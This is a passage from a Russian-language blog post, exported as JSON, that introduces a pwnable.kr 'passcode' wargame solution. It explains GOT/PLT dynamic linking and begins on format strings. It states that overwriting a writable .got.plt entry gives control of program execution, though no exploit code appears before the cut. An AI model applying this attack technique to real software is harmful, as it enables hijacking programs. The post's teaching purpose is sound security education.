{"id":292314,"date":"2019-07-19T15:00:59","date_gmt":"2019-07-19T15:00:59","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=292314"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=292314","title":{"rendered":"\u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u0441 pwnable.kr 05 \u2014 passcode. \u041f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044c \u0442\u0430\u0431\u043b\u0438\u0446\u044b \u0441\u0432\u044f\u0437\u0435\u0439 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440 \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u043e\u0440\u043c\u0430\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438"},"content":{"rendered":"\n<div class=\"post__text post__text-html js-mediator-article\">\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/al\/py\/ef\/alpyefagnx81cc2xc1ncjqs8lus.png\" alt=\"image\"><\/div>\n<p>  \u0412 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c: \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u0430\u044f \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0439, \u0442\u0430\u0431\u043b\u0438\u0446\u0435\u0439 \u0441\u0432\u044f\u0437\u0435\u0439 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440 \u0438 \u0435\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044c \u0447\u0435\u0440\u0435\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u043e\u0440\u043c\u0430\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438. \u0422\u0430\u043a\u0436\u0435 \u0440\u0435\u0448\u0438\u043c 5-\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u0441 \u0441\u0430\u0439\u0442\u0430 <a href=\"https:\/\/pwnable.kr\/index.php\">pwnable.kr<\/a>.<\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f<\/b><\/p>\n<div class=\"spoiler_text\">\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0434\u043b\u044f \u0442\u0435\u0445, \u043a\u0442\u043e \u0445\u043e\u0447\u0435\u0442 \u0443\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u043d\u043e\u0432\u043e\u0435 \u0438 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u043b\u044e\u0431\u043e\u0439 \u0438\u0437 \u0441\u0444\u0435\u0440 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u044f \u0431\u0443\u0434\u0443 \u043f\u0438\u0441\u0430\u0442\u044c \u0438 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044f\u0445:<\/p>\n<ul>\n<li>PWN;<\/li>\n<li>\u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u044f (Crypto);<\/li>\n<li>c\u0435\u0442\u0435\u0432\u044b\u0435 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 (Network);<\/li>\n<li>\u0440\u0435\u0432\u0435\u0440\u0441 (Reverse Engineering);<\/li>\n<li>\u0441\u0442\u0435\u0433\u0430\u043d\u043e\u0433\u0440\u0430\u0444\u0438\u044f (Stegano);<\/li>\n<li>\u043f\u043e\u0438\u0441\u043a \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f WEB-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.<\/li>\n<\/ul>\n<p>  \u0412\u0434\u043e\u0431\u0430\u0432\u043e\u043a \u043a \u044d\u0442\u043e\u043c\u0443 \u044f \u043f\u043e\u0434\u0435\u043b\u044e\u0441\u044c \u0441\u0432\u043e\u0438\u043c \u043e\u043f\u044b\u0442\u043e\u043c \u0432 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0439 \u043a\u0440\u0438\u043c\u0438\u043d\u0430\u043b\u0438\u0441\u0442\u0438\u043a\u0435, \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043c\u0430\u043b\u0432\u0430\u0440\u0438 \u0438 \u043f\u0440\u043e\u0448\u0438\u0432\u043e\u043a, \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0435 \u0441\u0435\u0442\u0438 \u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0435\u0442\u0438, \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0438 \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u043e\u0432 \u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432.<br \/>  <a name=\"habracut\"><\/a><br \/>  \u0427\u0442\u043e\u0431\u044b \u0432\u044b \u043c\u043e\u0433\u043b\u0438 \u0443\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u043e \u043d\u043e\u0432\u044b\u0445 \u0441\u0442\u0430\u0442\u044c\u044f\u0445, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0438 \u0434\u0440\u0443\u0433\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u044f \u0441\u043e\u0437\u0434\u0430\u043b <a href=\"https:\/\/t.me\/RalfHackerChannel\">\u043a\u0430\u043d\u0430\u043b \u0432 Telegram<\/a> \u0438 <a href=\"https:\/\/t.me\/RalfHackerPublicChat\">\u0433\u0440\u0443\u043f\u043f\u0443 \u0434\u043b\u044f \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u043b\u044e\u0431\u044b\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432<\/a> \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0418\u0438\u041a\u0411. \u0422\u0430\u043a\u0436\u0435 \u0432\u0430\u0448\u0438 \u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u043e\u0441\u044c\u0431\u044b, \u0432\u043e\u043f\u0440\u043e\u0441\u044b, \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 <a href=\"https:\/\/t.me\/hackerralf8\">\u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u044e \u043b\u0438\u0447\u043d\u043e \u0438 \u043e\u0442\u0432\u0435\u0447\u0443 \u0432\u0441\u0435\u043c<\/a>.<br \/>  <cut><\/cut><br \/>  \u0412\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445. \u0410\u0432\u0442\u043e\u0440 \u044d\u0442\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u043d\u0435 \u043d\u0435\u0441\u0451\u0442 \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u043b\u044e\u0431\u043e\u0439 \u0443\u0449\u0435\u0440\u0431, \u043f\u0440\u0438\u0447\u0438\u043d\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043c\u0443-\u043b\u0438\u0431\u043e \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u043c\u0435\u0442\u043e\u0434\u043e\u0432, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430.  <\/div>\n<\/div>\n<p>  <\/p>\n<h2>\u0413\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u0430\u044f \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0439 \u0438 \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u0441\u0432\u044f\u0437\u0438 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440<\/h2>\n<p>  \u0414\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442\u0441\u044f \u0438\u0437 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438\u043b\u0438 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f. \u0418, \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0438\u0445 \u0430\u0434\u0440\u0435\u0441\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442\u043e\u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430\u043c\u0438. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 ASLR, \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u043d\u0434\u043e\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043c\u043e\u0434\u0443\u043b\u044f \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438.<\/p>\n<p>  \u0413\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u0430\u044f \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0439 (GOT \u2014 Global Offset Table) \u2014 \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u0430\u0434\u0440\u0435\u0441\u043e\u0432, \u0445\u0440\u0430\u043d\u044f\u0449\u0438\u0445\u0441\u044f \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u0434\u0430\u043d\u043d\u044b\u0445. \u041e\u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0445 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438. \u042d\u0442\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432\u0441\u0435\u043c\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438. \u0412\u0441\u0435 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435 \u0430\u0434\u0440\u0435\u0441\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u0441\u0435\u043a\u0446\u0438\u044f \u043a\u043e\u0434\u0430, \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0432 \u044d\u0442\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0435 GOT. \u0420\u0430\u0437\u0434\u0435\u043b \u043a\u043e\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u044d\u0442\u0438\u043c \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u043c \u0430\u0434\u0440\u0435\u0441\u0430\u043c. \u0418, \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043a\u043e\u0434 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043e\u043d\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u044b \u0432 \u0440\u0430\u0437\u043d\u044b\u0435 \u0430\u0434\u0440\u0435\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u043f\u0430\u043c\u044f\u0442\u0438.<\/p>\n<p>  \u0422\u0430\u0431\u043b\u0438\u0446\u0430 \u0441\u0432\u044f\u0437\u0438 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440 (PLT \u2014 Procedure Linkage Table) \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043a\u043e\u0434 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0434\u043b\u044f \u0432\u044b\u0437\u043e\u0432\u0430 \u043e\u0431\u0449\u0438\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u0430\u0434\u0440\u0435\u0441\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0432 GOT, \u0442.\u0435 PLT \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0430\u0434\u0440\u0435\u0441\u0430, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0430\u0434\u0440\u0435\u0441\u0430 \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u044b\u0445 (\u0430\u0434\u0440\u0435\u0441\u043e\u0432) \u0438\u0437 GOT.<\/p>\n<p>  \u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435:<\/p>\n<ol>\n<li>\u0412 \u043a\u043e\u0434\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043d\u0435\u0448\u043d\u044f\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f printf.<\/li>\n<li>\u041f\u043e\u0442\u043e\u043a \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442 \u043d\u0430 n-\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0432 PLT, \u043f\u0440\u0438\u0447\u0435\u043c \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u043e \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044e, \u0430 \u043d\u0435 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e\u043c\u0443 \u0430\u0434\u0440\u0435\u0441\u0443.<\/li>\n<li>\u041e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 \u0430\u0434\u0440\u0435\u0441, \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0439 \u0432 GOT. \u0423\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0439 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435 GOT, \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u043d\u0430 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u043a\u043e\u0434\u0430 PLT.<\/li>\n<li>\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0435\u0441\u043b\u0438 printf \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043f\u0435\u0440\u0432\u044b\u0435, \u0442\u043e \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043a\u043e\u043c\u043f\u043e\u043d\u043e\u0432\u0449\u0438\u043a\u0430 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0430\u0434\u0440\u0435\u0441\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438.<\/li>\n<li>\u0410\u0434\u0440\u0435\u0441 printf \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0443 GOT, \u0430 \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f printf.<\/li>\n<li>\u0415\u0441\u043b\u0438 printf \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u043d\u043e\u0432\u0430 \u0432 \u043a\u043e\u0434\u0435, \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u0442\u0435\u043b\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c\u0441\u044f, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0430\u0434\u0440\u0435\u0441 printf \u0443\u0436\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d \u0432 GOT.<\/li>\n<\/ol>\n<p><cut><\/cut><br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/j4\/yh\/xf\/j4yhxfc-twcuo9m9e5o2nanwoug.png\" alt=\"image\"><\/p>\n<p>  \u041f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u044d\u0442\u043e\u0439 \u043e\u0442\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0438 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438 \u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u043d\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u044e\u0442\u0441\u044f. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u044d\u0442\u043e \u044d\u043a\u043e\u043d\u043e\u043c\u0438\u0442 \u043c\u043d\u043e\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438.<\/p>\n<p>  \u0414\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u043b, \u0432 \u0444\u0430\u0439\u043b\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0441\u0435\u043a\u0446\u0438\u0438:<\/p>\n<ul>\n<li>.got \u2014 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0437\u0430\u043f\u0438\u0441\u0438 \u0434\u043b\u044f GOT;<\/li>\n<li>.\u0440lt \u2014 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0437\u0430\u043f\u0438\u0441\u0438 \u0434\u043b\u044f PLT;<\/li>\n<li>.got.plt \u2014 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u043e\u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f \u0430\u0434\u0440\u0435\u0441\u043e\u0432 GOT \u2014 PLT;<\/li>\n<li>.plt.got \u2014 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u043e\u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u044f \u0430\u0434\u0440\u0435\u0441\u043e\u0432 PLT \u2014 GOT.<\/li>\n<\/ul>\n<p>  \u0422\u0430\u043a \u043a\u0430\u043a \u0441\u0435\u043a\u0446\u0438\u044f .got.plt \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043c\u0430\u0441\u0441\u0438\u0432 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b (\u0442.\u0435. \u0432 \u043d\u0435\u0439 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c), \u0442\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043e\u0434\u0438\u043d \u0438 \u043d\u0438\u0445 \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0442\u043e\u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b.<\/p>\n<h2>\u0421\u0442\u0440\u043e\u043a\u0430 \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f<\/h2>\n<p>  \u0421\u0442\u0440\u043e\u043a\u0430 \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0443 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0430. \u041f\u0440\u0438\u0437\u043d\u0430\u043a\u043e\u043c \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0438\u043c\u0432\u043e\u043b \u201c%\u201d (\u0447\u0442\u043e\u0431\u044b \u0432\u0432\u0435\u0441\u0442\u0438 \u0437\u043d\u0430\u043a \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u201c%%\u201d).<\/p>\n<pre><code class=\"cpp\">pritntf(\u201coutput %s 123\u201d, \u201cstr\u201d);  output str 123<\/code><\/pre>\n<p>  \u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0432\u0430\u0436\u043d\u044b\u0435 \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0444\u043e\u0440\u043c\u0430\u0442\u0430:<\/p>\n<ul>\n<li>d \u2014 \u0434\u0435\u0441\u044f\u0442\u0438\u0447\u043d\u043e\u0435 \u0437\u043d\u0430\u043a\u043e\u0432\u043e\u0435 \u0447\u0438\u0441\u043b\u043e, \u0440\u0430\u0437\u043c\u0435\u0440 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, sizeof( int );<\/li>\n<li>x \u0438 X \u2014 